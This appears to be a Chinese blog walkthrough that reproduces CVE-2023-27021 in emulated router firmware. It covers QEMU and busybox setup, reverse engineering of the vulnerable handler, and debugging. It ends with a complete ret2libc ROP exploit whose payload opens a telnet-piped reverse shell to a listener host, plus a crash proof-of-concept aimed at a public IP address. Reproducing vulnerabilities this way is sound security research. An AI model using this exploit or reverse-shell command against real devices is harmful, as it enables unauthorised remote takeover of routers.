cve-2023-27021 搭建qemu环境 https://blog.csdn.net/weixin_44458100/article/details/136042605
网上找了好几篇,最终参考了这篇博客
AARCH64的工具链安装准备: 1 sudo apt-get install gcc-aarch64-linux-gnu -y
下载编译安装QEMU 1 2 wget https://download.qemu.org/qemu-8.2.0.tar.bz2 tar -xjf qemu-8.2.0.tar.bz2
配置QEMU 配置qemu源码前要要求本地环境python版本要大于3.8和glib2.0环境依赖
安装各种环境
1 2 3 4 5 6 7 8 sudo apt-get install python3-venv sudo apt-get install python3-pip sudo apt-get update pip3 install --upgrade pip pip3 install sphinx pip3 install sphinx_rtd_theme pip3 install Ninja sudo apt-get install libglib2.0-0 libglib2.0-dev ninja-build libpixman-1-dev
qemu
1 2 3 4 cd qemu-8.2.0 mkdir build/ cd build/ ../configure --target-list=aarch64-softmmu --audio-drv-list=
编译安装qemu ~/qemu-8.2.0/build/$
1 sudo make -j8 && make install
下载编译kernel
1 2 3 4 tar -xf linux-5.10.209.tar.xz cd linux-5.10.223 sudo make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- defconfig sudo make ARCH=arm64 CROSS_COMPILE=aarch64-linux-gnu- Image -j8
make这里我报了一堆错,问gpt说是少工具:
1 2 sudo apt-get install bison sudo apt-get install libssl-dev
然后开始make,友情提示:这段时间比较长,可以去干点别的事
这里我出现了一堆选项,我是一路回车过去的
使用busybox制作根文件系统 1 2 3 wget https://www.busybox.net/downloads/busybox-1.36.1.tar.bz2 tar -xjf busybox-1.36.1.tar.bz2 cd busybox-1.36.1
这里我看一堆博客都是这样,搞不懂在说啥
gpt说:
但是我又报错,得先安装库:
1 sudo apt-get install libncurses5-dev libncursesw5-dev
然后再运行上面那条命令,结果非常的amazing啊,立马出来我想要的东西了
根据博客依次选择Settings,
上图要用空格选中,但是我的没有(aarch64-linux-gnu-) Cross compiler prefix这一行,硬着头皮接着往下
确保看到这个
没看到的话重新来一遍
1 2 sudo make menuconfig make clean
然后
statically linked这样就是对的,然后执行下面命令,进行安装文件系统
这里换了一篇博客参考:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 (1)下载busybox $ wget http://busybox.net/downloads/ $ tar jxvf busybox-1.36.1.tar.bz2 (2) busybox编译配置打开静态链接选项 $ make menuconfig Settings ---> [*] Build static binary (no shared libs) (3) 编译busybox,执行成功会在代码根目录生成_install目录 cd 到busybox代码根目录 $ make && make install (4) 在rootfs里添加/etc /lib 和/dev目录 $ cd _install $ mkdir etc lib dev $ ls bin dev etc lib linuxrc sbin usr // 在etc目录下创建如下文件 $ cat profile #!/bin/sh export HOSTNAME=virt-machine export USER=root export HOME=/home export PS1="[$USER@$HOSTNAME \W]\# " PATH=/bin:/sbin:/usr/bin:/usr/sbin LD_LIBRARY_PATH=/lib:/usr/lib:$LD_LIBRARY_PATH export PATH LD_LIBRARY_PATH $ cat fstab #device mount-point type options dump fsck order proc /proc proc defaults 0 0 tmpfs /tmp tmpfs defaults 0 0 sysfs /sys sysfs defaults 0 0 tmpfs /dev tmpfs defaults 0 0 debugfs /sys/kernel/debug debugfs defaults 0 0 kmod_mount /mnt 9p trans=virtio 0 0 $ cat inittab ::sysinit:/etc/init.d/rcS ::respawn:-/bin/sh ::askfirst:-/bin/sh ::ctrlaltdel:/bin/umount -a -r // 指明挂载的文件系统 $ mkdir -p etc/init.d $ cat etc/init.d/rcS mkdir -p /sys mkdir -p /tmp mkdir -p /proc mkdir -p /mnt /bin/mount -a mkdir -p /dev/pts mount -t devpts devpts /dev/pts echo /sbin/mdev > /proc/sys/kernel/hotplug mdev -s $ chmod +x rcS // 添加设备文件 $ cd dev $ sudo mknod console c 5 1 $ sudo mknod null c 1 3 // 拷贝lib库到lib目录,方便qemu虚拟机启动后,动态编译的程序可以运行 $ cd linb && cp /usr/aarch64-linux-gnu/lib/*.so* -a . $ ls ld-linux-aarch64.so.1 libatomic.so.1 libgcc_s.so.1 liblsan.so.0 libnss_compat.so.2 libresolv.so libtsan.so.0 libBrokenLocale.so libatomic.so.1.2.0 libgomp.so.1 liblsan.so.0.0.0 libnss_dns.so.2 libresolv.so.2 libtsan.so.0.0.0 libBrokenLocale.so.1 libc.so libgomp.so.1.0.0 libm.so libnss_files.so.2 librt.so.1 libubsan.so.1 libanl.so libc.so.6 libhwasan.so.0 libm.so.6 libnss_hesiod.so libstdc++.so.6 libubsan.so.1.0.0 libanl.so.1 libc_malloc_debug.so libhwasan.so.0.0.0 libmemusage.so libnss_hesiod.so.2 libstdc++.so.6.0.30 libutil.so.1 libasan.so.6 libc_malloc_debug.so.0 libitm.so.1 libnsl.so.1 libpcprofile.so libthread_db.so libasan.so.6.0.0 libdl.so.2 libitm.so.1.0.0 libnss_compat.so libpthread.so.0 作者:大江从来万山中 链接:https://juejin.cn/post/7360903734853910580 来源:稀土掘金 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
制作虚拟硬盘 1 2 3 4 5 6 7 8 9 10 cd ~/linux-5.10.223 dd if=/dev/zero of=rootfs_ext4.img bs=1M count=1024 mkfs.ext4 rootfs_ext4.img mkdir -p tmpfs sudo mount -t ext4 rootfs_ext4.img tmpfs/ -o loop sudo cp ~/busybox-1.36.1/_install/ ./rootfs -a sudo chown -R root:root rootfs sudo cp -af rootfs/* tmpfs/ sudo umount tmpfs chmod 777 rootfs_ext4.img
qemu 启动 1 2 3 4 5 6 7 8 9 10 11 12 13 // 创建qemu和主机的共享目录,该目录下的文件可以同时被qemu虚拟机中的Linux和主机上的Linux访问修改 mkdir kmodules // 启动qemu虚拟机 qemu-system-aarch64 -machine virt -cpu cortex-a57 \ -m 1024 \ -smp 4 \ -kernel arch/arm64/boot/Image \ --append "noinitrd root=/dev/vda rw console=ttyAMA0 loglevel=8" \ -nographic \ -drive if=none,file=rootfs_ext4.img,id=hd0 \ -device virtio-blk-device,drive=hd0 \ --fsdev local,id=kmod_dev,path=$PWD/kmodules,security_model=none \ -device virtio-9p-device,fsdev=kmod_dev,mount_tag=kmod_mount
然后发现博客用的是qemu-static
1 2 3 apt install qemu apt install qemu-user-static sudo apt install qemu-system
建立虚拟网桥
1 2 3 4 5 sudo apt install uml-utilities bridge-utils sudo brctl addbr br0 sudo brctl addif br0 ens33 sudo ifconfig br0 up sudo dhclient br0
这里的ens33要用ip link show
看一下
然后确保br0已经分配了ip地址
没有就重新来一遍
1 2 3 4 sudo brctl delif br0 ens32 sudo brctl addif br0 ens33 sudo ifconfig br0 up sudo dhclient br0
使用qemu模拟启动httpd
1 2 cp $(which qemu-arm-static) . sudo chroot ./ ./qemu-arm-static ./bin/httpd
不能用共享文件夹启动,不然会找不到libz.so.1
但是还是会报错,找不到什么套接字什么的
看不懂,直接patch掉这个检测,根据cfm查找字符串定位到这个函数:int __fastcall sub_2E420(int a1, int a2)
arm架构的汇编中BNE表示不相等跳转,直接改成B无条件跳转,完成,现在可以访问了
这是由于webroot下没有文件导致的,我们将webroot_ro/下所有文件拷贝过来就行
1 2 3 mkdir -p webroot sudo cp webroot_ro/* webroot sudo cp -r webroot_ro/* webroot
成功
接下来就是复现漏洞
漏洞分析 使用IDA逆向httpd文件,寻找可以造成栈溢出的函数。挖掘栈溢出漏洞,通常我们要从一些危险函数入手,第一类函数是scanf,可能产生格式化字符串溢出漏洞,第二类是strcpy、strcat、sprintf等字符串拷贝函数。
找到这个CVE对应的formSetFirewallCfg这个函数,这里我们看到websGetVar传入的firewallEn赋值给s,后续没有对s进行长度校验,直接strcpy拷贝到了v3开辟的栈空间中,是一个明显的栈溢出漏洞。
结合web交互的http流量包以及websGetVar函数名,可以合理推测formSetFirewallCfg是web传参用的函数,openSchedWifi就是构造url访问的接口名,一级目录名为goform。
因此,我们构造请求,尝试下是否可以触发溢出
1 2 3 4 5 6 7 8 9 10 11 12 13 import requestsurl = "http://47.98.137.248/goform/SetFirewallCfg" header = { "Content-Type" : "application/x-www-form-urlencoded; charset=UTF-8" , "Cookie" : "password=rtp5gk" } payload = "A" * 500 data = {"firewallEn" : payload} response = requests.post(url, headers=header, data=data, timeout=5 ) response = requests.post(url, headers=header, data=data, timeout=5 ) print (response.text)
运行脚本后
发现触发segmentation fault,说明漏洞存在
实现栈溢出之后,我们进一步尝试是否可以rce,使用checksec查看下二进制文件编译的保护情况
发现只开启了NX enabled,无法直接执行栈中的shellcode,所以利用的思路是通过构造rop链构造相应参数来执行system命令,来拿到shell。
配置gdb动态调试环境 首先是配置gdb动态调试环境,安装gdb-multiarch及pwndbg插件。gdb-multiarch是一种支持调试多种架构程序的gdb
安装可参考:https://www.cnblogs.com/gd/p/16180128.html
调试程序
1 chroot ./ ./qemu-arm-static -g 9999 ./bin/httpd
另起一个终端,
1 gdb-multiarch ./bin/httpd
gdb中输入
此时python发送数据包
调试环境就绪
漏洞利用 1. 利用思路 由于程序开启了NX保护,无法直接执行栈中的shellcode,在程序的可执行的段中通过 ROP 技术执行我们的 shellcode。常用的的 ROP 技术包括 ret2text,ret2shellcode,ret2syscall,ret2libc。
此处我们采用ret2libc执行,ret2libc是指将程序返回 libc,直接调用 libc 中的system函数执行命令。
具体思路如下:
找 libc 的基地址
计算libc中system函数的地址
控制r0寄存器,在r0中写入system函数要执行的参数,即我们要执行的shellcode。
控制某寄存器,将system的地址写入某寄存器,并将system地址弹出到PC寄存器,使程序流执行system函数。
2. 计算溢出所需偏移量
这里我选择静态分析方法,当然也可以用cyclic -l 等分析,这里不作赘述,双击dest:
那么offset就是0x34
3. 寻找libc基址 在函数formSetFirewallCfg入口打个断点,continuing运行程序,发送上文中的poc,停到断点处
然后用python发包,断在formSetFirewallCfg处
结合system地址判断大概libc可能在哪里,最终通过手动爆破找到libc真实地址:
4. 寻找gadget 1 ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"
选择了这一条:
1 0x00040cb8 : mov r0, sp ; blx r3
blx(branch with link and exchange)相当于x86里的call,会将返回地址放入LR寄存器
再找一个可以劫持r3的gadget
1 ROPgadget --binary ./lib/libc.so.0 --only "pop" | grep r3
编写payload:
1 payload = cyclic(52 ) + p32(r3_pop) + p32(system_addr) + p32(move_ro) + cmd
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import *import requestsurl = "http://192.168.170.134" header = { "Content-Type" : "application/x-www-form-urlencoded; charset=UTF-8" , "Cookie" : "password=bcf33de30ebf57e4d3785c08adec4b85cvztgb" } cmd = b"echo test;telnet 192.168.170.1 4444 | /bin/sh | telnet 192.168.170.1 5555" libc_base_addr = 0x3fd9c000 libc = ELF("./lib/libc.so.0" ) system_offset = libc.symbols["system" ] system_addr= libc_base_addr + system_offset r3_pop =libc_base_addr + 0x00018298 move_r0= libc_base_addr+ 0x00040cb8 payload = cyclic(52 ) + p32(r3_pop) + p32(system_addr) + p32(move_r0) + cmd data = {"firewallEn" : payload} response = requests.post(url + "/goform/SetFirewallCfg" , headers=header, data=data) print (response.text)
由于路由器一般不支持bin/bash命令,选择用telnet来getshell。VPN上分别监听 4444和5555端口,执行脚本
nc 4444端口监听已经建立连接,输入命令,5555监听端口处获得回显
成功getshell